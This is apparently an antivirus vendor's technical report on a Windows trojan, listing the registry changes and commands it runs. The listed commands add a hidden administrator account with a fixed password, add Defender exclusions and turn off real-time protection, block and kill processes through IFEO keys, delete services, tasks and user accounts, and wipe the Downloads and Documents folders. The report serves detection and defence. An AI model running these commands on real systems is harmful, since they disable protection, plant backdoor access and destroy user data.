Trojan.Siggen32.60857

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\Software\Classes\.exe] '' = 'exefile'
[HKLM\Software\Classes\.exe] 'Content Type' = 'application/x-msdownload'
[HKLM\Software\Classes\exefile\shell\open\command] '' = '%1 %*'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe'
[HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe'
[HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe] 'Debugger' = '<SYSTEM32>\v2ray.exe /f /im v2ray.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe] 'Debugger' = '<SYSTEM32>\v2ray.exe /f /im v2ray.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaradAgent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im BaradAgent.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgagent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im sgagent.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tat_agent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im tat_agent.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDLive.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDLive.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDFlame.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDFlame.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDService.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDService.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HipsTray.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HipsTray.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsctrlsvc.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im wsctrlsvc.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HipsDaemon.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HipsDaemon.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitDimon.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HitDimon.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im svchost.com'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchostx.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im svchostx.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im xmrig.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im ShellHost.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im v2ray.exe'

Creates or modifies the following files

<SYSTEM32>\tasks\createexplorershellunelevatedtask

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\administrator','C:\Users\admin'"

Executes the following

'<SYSTEM32>\net.exe' user admin Syskill000000 /add
'<SYSTEM32>\net.exe' localgroup administrators admin /add
'<SYSTEM32>\taskkill.exe' /F /IM ShellHost.exe
'<SYSTEM32>\taskkill.exe' /F /IM v2ray.exe
'<SYSTEM32>\netsh.exe' advfirewall set allprofiles state on
'<SYSTEM32>\taskkill.exe' /f /im loop.exe
'<SYSTEM32>\taskkill.exe' /f /im sbr.exe
'<SYSTEM32>\taskkill.exe' /f /im spool.exe
'<SYSTEM32>\taskkill.exe' /f /im pool.exe
'<SYSTEM32>\taskkill.exe' /f /im port.exe
'<SYSTEM32>\taskkill.exe' /f /im cmd.exe
'<SYSTEM32>\taskkill.exe' /f /im powershell.exe
'<SYSTEM32>\taskkill.exe' /f /im mypower.exe
'<SYSTEM32>\taskkill.exe' /f /im mypowershell.exe
'<SYSTEM32>\taskkill.exe' /f /im lol.exe
'<SYSTEM32>\taskkill.exe' /f /im rdp.exe
'<SYSTEM32>\taskkill.exe' /f /im RDP-Blocker-Working.ps1
'<SYSTEM32>\taskkill.exe' /f /im SRBMiner-MULTI.exe

Terminates or attempts to terminate

the following system processes:

%WINDIR%\explorer.exe
<SYSTEM32>\cmd.exe

Modifies file system

Creates the following files

Deletes the following system files

<SYSTEM32>\tasks\adobe acrobat update task
<SYSTEM32>\tasks\opera scheduled autoupdate 1723426318
<SYSTEM32>\tasks\mozilla\firefox default browser agent 308046b0af4a39cb

Deletes following files that it created itself

<SYSTEM32>\tasks\createexplorershellunelevatedtask

Network activity

UDP

DNS ASK ap#.msn.com

Miscellaneous

Searches for the following windows

ClassName: 'Progman' WindowName: ''
ClassName: 'Proxy Desktop' WindowName: ''
ClassName: 'ApplicationFrameWindow' WindowName: ''
ClassName: 'SystemTray_Main' WindowName: ''
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
ClassName: '' WindowName: ''

Executes the following

'<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f
'<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f
'%WINDIR%\explorer.exe'
'%WINDIR%\explorer.exe' /NoUACCheck
'<SYSTEM32>\net.exe' user sys /active:no
'<SYSTEM32>\net1.exe' user sys /active:no
'<SYSTEM32>\net.exe' user admin /active:yes
'<SYSTEM32>\net1.exe' user admin /active:yes
'<SYSTEM32>\net1.exe' user admin Syskill000000 /add
'%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
'<SYSTEM32>\net.exe' user admin Syskill000000
'<SYSTEM32>\net1.exe' user admin Syskill000000
'<SYSTEM32>\net1.exe' localgroup administrators admin /add
'<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
'<SYSTEM32>\cmd.exe' /c for /f "tokens=2" %i in ('query session sys') do logoff %i
'<SYSTEM32>\cmd.exe' /c query session sys
'<SYSTEM32>\query.exe' session sys
'<SYSTEM32>\qwinsta.exe' sys
'<SYSTEM32>\cmd.exe' /c schtasks /delete /tn "MalwareKiller" /f
'<SYSTEM32>\schtasks.exe' /delete /tn "MalwareKiller" /f
'<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __FilterToConsumerBinding delete
'<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path __FilterToConsumerBinding delete
'<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path CommandLineEventConsumer delete
'<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path CommandLineEventConsumer delete
'<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __EventFilter delete
'<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path __EventFilter delete
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\Microsoft*'} | Unregister-ScheduledTask -Confirm:$false"
'<SYSTEM32>\cmd.exe' /c wmic /namespace:"\root\subscription" Path __FilterToConsumerBinding Where Filter="__EventFilter.Name=\"MalwareKillFilter\"" delete & wmic /namespace:"\root\subscription" Path CommandLineEven...
'<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path __FilterToConsumerBinding Where Filter="__EventFilter.Name=\"MalwareKillFilter\"" delete
'<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path CommandLineEventConsumer Where Name="MalwareKillConsumer" delete
'<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path __EventFilter Where Name="MalwareKillFilter" delete
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$b='HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options';gci $b|%{rp $_.PsPath Debugger -ea 0};Set-ItemProperty -Path 'HKLM:\Software\Classes\.exe' -Name '(Defau...
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM ShellHost.exe
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM v2ray.exe
'<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-Item "$env:USERPROFILE\Downloads\*" -Recurse -Force
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypowershell.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
'<SYSTEM32>\cmd.exe' /c powershell.exe -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\administrator','C:\Users\admin'"
'<SYSTEM32>\cmd.exe' /c powershell -Command "New-Item -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" -Force | Out-Null; Set-ItemProperty -Path \"HKLM:\SOFTWARE\Policies\Microsoft\...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "New-Item -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" -Force | Out-Null; Set-ItemProperty -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defend...
'<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state on
'<SYSTEM32>\sc.exe' delete Nat
'<SYSTEM32>\sc.exe' delete AdminManager
'<SYSTEM32>\sc.exe' delete Network
'<SYSTEM32>\sc.exe' delete Networks
'<SYSTEM32>\sc.exe' delete NetworkService
'<SYSTEM32>\sc.exe' delete NetWork Service
'<SYSTEM32>\sc.exe' delete Winupdate
'<SYSTEM32>\sc.exe' delete service
'<SYSTEM32>\sc.exe' delete AutoConfigService
'<SYSTEM32>\net.exe' user system32 /active:no
'<SYSTEM32>\net1.exe' user system32 /active:no
'<SYSTEM32>\net.exe' user guest /active:no
'<SYSTEM32>\net1.exe' user guest /active:no
'<SYSTEM32>\net.exe' user delivery /active:no
'<SYSTEM32>\net1.exe' user delivery /active:no
'<SYSTEM32>\net.exe' user admini /active:no
'<SYSTEM32>\net1.exe' user admini /active:no
'<SYSTEM32>\net.exe' user sys2 /active:no
'<SYSTEM32>\net1.exe' user sys2 /active:no
'<SYSTEM32>\net.exe' user Bruno /active:no
'<SYSTEM32>\net1.exe' user Bruno /active:no
'<SYSTEM32>\net.exe' user sys1 /active:no
'<SYSTEM32>\net1.exe' user sys1 /active:no
'<SYSTEM32>\net.exe' user cloudbase-init /active:no
'<SYSTEM32>\net1.exe' user cloudbase-init /active:no
'<SYSTEM32>\net.exe' user Ghostuser /active:no
'<SYSTEM32>\net1.exe' user Ghostuser /active:no
'<SYSTEM32>\net.exe' user us /active:no
'<SYSTEM32>\net1.exe' user us /active:no
'<SYSTEM32>\net.exe' user ha /active:no
'<SYSTEM32>\net1.exe' user ha /active:no
'<SYSTEM32>\net.exe' user service /active:no
'<SYSTEM32>\net1.exe' user service /active:no
'<SYSTEM32>\net.exe' user L92 /active:no
'<SYSTEM32>\net1.exe' user L92 /active:no
'<SYSTEM32>\cmd.exe' /c taskkill /f /im loop.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im sbr.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im spool.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im pool.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im port.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im cmd.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im powershell.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im mypower.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im mypowershell.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im lol.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im rdp.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im RDP-Blocker-Working.ps1 >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /f /im SRBMiner-MULTI.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*.*"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Downloads\* -Recurse -Force"
'<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Documents\*.*"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Documents\* -Recurse -Force"
'<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f' (with hidden window)
'<SYSTEM32>\net.exe' user sys /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user admin /active:yes' (with hidden window)
'<SYSTEM32>\net.exe' user admin Syskill000000 /add' (with hidden window)
'<SYSTEM32>\net.exe' user admin Syskill000000' (with hidden window)
'<SYSTEM32>\net.exe' localgroup administrators admin /add' (with hidden window)
'<SYSTEM32>\cmd.exe' /c for /f "tokens=2" %i in ('query session sys') do logoff %i' (with hidden window)
'<SYSTEM32>\cmd.exe' /c schtasks /delete /tn "MalwareKiller" /f' (with hidden window)
'<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __FilterToConsumerBinding delete' (with hidden window)
'<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path CommandLineEventConsumer delete' (with hidden window)
'<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __EventFilter delete' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\Microsoft*'} | Unregister-ScheduledTask -Confirm:$false"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c wmic /namespace:"\root\subscription" Path __FilterToConsumerBinding Where Filter="__EventFilter.Name=\"MalwareKillFilter\"" delete & wmic /namespace:"\root\subscription" Path CommandLineEven...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$b='HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options';gci $b|%{rp $_.PsPath Debugger -ea 0};Set-ItemProperty -Path 'HKLM:\Software\Classes\.exe' -Name '(Defau...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM ShellHost.exe' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM v2ray.exe' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-Item "$env:USERPROFILE\Downloads\*" -Recurse -Force' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypowershell.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f' (with hidden window)
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f' (with hidden window)
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f' (with hidden window)
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f' (with hidden window)
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell.exe -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\administrator','C:\Users\admin'"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "New-Item -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" -Force | Out-Null; Set-ItemProperty -Path \"HKLM:\SOFTWARE\Policies\Microsoft\...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state on' (with hidden window)
'<SYSTEM32>\sc.exe' delete Nat' (with hidden window)
'<SYSTEM32>\sc.exe' delete AdminManager' (with hidden window)
'<SYSTEM32>\sc.exe' delete Network' (with hidden window)
'<SYSTEM32>\sc.exe' delete Networks' (with hidden window)
'<SYSTEM32>\sc.exe' delete NetworkService' (with hidden window)
'<SYSTEM32>\sc.exe' delete NetWork Service' (with hidden window)
'<SYSTEM32>\sc.exe' delete Winupdate' (with hidden window)
'<SYSTEM32>\sc.exe' delete service' (with hidden window)
'<SYSTEM32>\sc.exe' delete AutoConfigService' (with hidden window)
'<SYSTEM32>\net.exe' user system32 /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user guest /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user delivery /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user admini /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user sys2 /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user Bruno /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user sys1 /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user cloudbase-init /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user Ghostuser /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user us /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user ha /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user service /active:no' (with hidden window)
'<SYSTEM32>\net.exe' user L92 /active:no' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im loop.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im sbr.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im spool.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im pool.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im port.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im cmd.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im powershell.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im mypower.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im mypowershell.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im lol.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im rdp.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im RDP-Blocker-Working.ps1 >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /f /im SRBMiner-MULTI.exe >nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*.*"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Downloads\* -Recurse -Force"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Documents\*.*"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Documents\* -Recurse -Force"' (with hidden window)

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial